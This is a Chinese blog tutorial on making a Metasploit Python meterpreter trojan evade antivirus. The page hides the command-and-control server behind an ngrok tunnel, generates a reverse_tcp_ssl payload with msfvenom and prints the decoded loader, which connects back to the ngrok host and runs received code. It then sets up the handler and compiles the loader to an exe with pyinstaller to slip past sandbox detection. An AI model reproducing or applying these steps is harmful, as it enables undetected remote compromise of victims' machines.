zoukankan      html  css  js  c++  java
  • 【木马免杀思路】msf木马免杀 python转exe(一) 截止2021年8月8日通杀360,火绒,微步

    本文讲述如何免杀msf木马并成功上线,主要内容包括隐藏c2静态查杀过行为查杀

    0x00. 隐藏c2

    为了隐藏c2,我们这里使用了ngrok的内网穿透,获得了一个ngrok提供的域名(ngrok可在官网下载:https://ngrok.com/):

    执行以下命令,将本地4455端口映射到公网的端口:

    ./ngrok tcp 4455

    这样我们就获得了 6.tcp.ngrok.io这个域名,以及18260这个端口

    0x01. 过行为查杀

    使用msfvenom命令生成python木马(为了绕过流量检测,使用了reverse_tcp_ssl加密流量)

    msfvenom -p python/meterpreter/reverse_tcp_ssl LHOST=6.tcp.ngrok.io LPORT=18260 -f raw -o payload.py --platform python -a python

    生成的payload.py的内容如下:

    exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHpsaWIsYmFzZTY0LHNzbCxzb2NrZXQsc3RydWN0LHRpbWUKZm9yIHggaW4gcmFuZ2UoMTApOgoJdHJ5OgoJCXNvPXNvY2tldC5zb2NrZXQoMiwxKQoJCXNvLmNvbm5lY3QoKCc2LnRjcC5uZ3Jvay5pbycsMTgyNjApKQoJCXM9c3NsLndyYXBfc29ja2V0KHNvKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))

    将其中的base64编码后的字符串进行解码,得到如下内容,并保存为msf.py

     1 import zlib,base64,ssl,socket,struct,time
     2 for x in range(10):
     3     try:
     4         so=socket.socket(2,1)
     5         so.connect(('6.tcp.ngrok.io',18260))
     6         s=ssl.wrap_socket(so)
     7         break
     8     except:
     9         time.sleep(5)
    10 l=struct.unpack('>I',s.recv(4))[0]
    11 d=s.recv(l)
    12 while len(d)<l:
    13     d+=s.recv(l-len(d))
    14 exec(zlib.decompress(base64.b64decode(d)),{'s':s})

    此时,msfconsole中开启监听(由于使用了内网穿透,所以这里的lhost是127.0.0.1):

    1 use exploit/multi/handler
    2 set payload python/meterpreter/reverse_tcp_ssl
    3 set lhost 127.0.0.1
    4 set lport 4455
    5 exloit

    此时,运行msf.py,msf可成功上线:

    0x02、过静态查杀

    把msf.py直接上传到微步在线

    被微步认为是恶意的原因:命中了威胁情报IOC

    其实最简单的处理办法就是把ip改成自己vps的ip,但是这么一来,就无法做到隐藏c2的目的了

    我们来分析一下,为什么会被情报判定系统命中呢:

    • 1. 明文上传python文件,可以直接通过代码获取ngrok的域名
    • 2. 微步在沙箱中运行了该python文件,检测了外连ip

    那么如何解决呢?

    • 1. 加密,或上传二进制文件
    • 2. 让微步的沙箱无法运行我们上传的文件

     1. 加密,或上传二进制文件

    使用pyinstaller把python文件转成exe的二进制文件

    安装pyinstaller:

    pip install pyinstaller

    编译msf.py(使用-F参数只生成一个文件):

    pyinstaller -F msf.py

    执行完毕后,会在dist目录下生成msf.exe(在MacOS下生成的是msf)

    然后执行msf.exe

    如果报错,no moudel named 'imp',需要在msf.py的import语句里再导入imp模块

    检出率 2/25,被判定为安全

    微步的沙箱为windows7系统,由于缺少某些必要的dll文件,导致无法运行此exe文件,因此无法命中ngrok域名 IOC情报

    上线:

    ----------------------------------------

     如果上传微步时选的win10环境,会被查杀,等我下次再想办法绕过一下,现在去吃饭了

    金麟岂是池中物,一遇风云便化龙!
  • 相关阅读:
    H面试程序(0):字符串一些常用函数的实现
    ctype.h头文件
    poj 3657
    UVA10294项链和手镯(等价类计数问题)
    UVA11375火柴(递推+大数)
    UVA11375火柴(递推+大数)
    UVA11388GCD LCM
    UVA11388GCD LCM
    UVA10943简单递推
    UVA10943简单递推
  • 原文地址:https://www.cnblogs.com/ABKing/p/15115845.html
Copyright © 2011-2022 走看看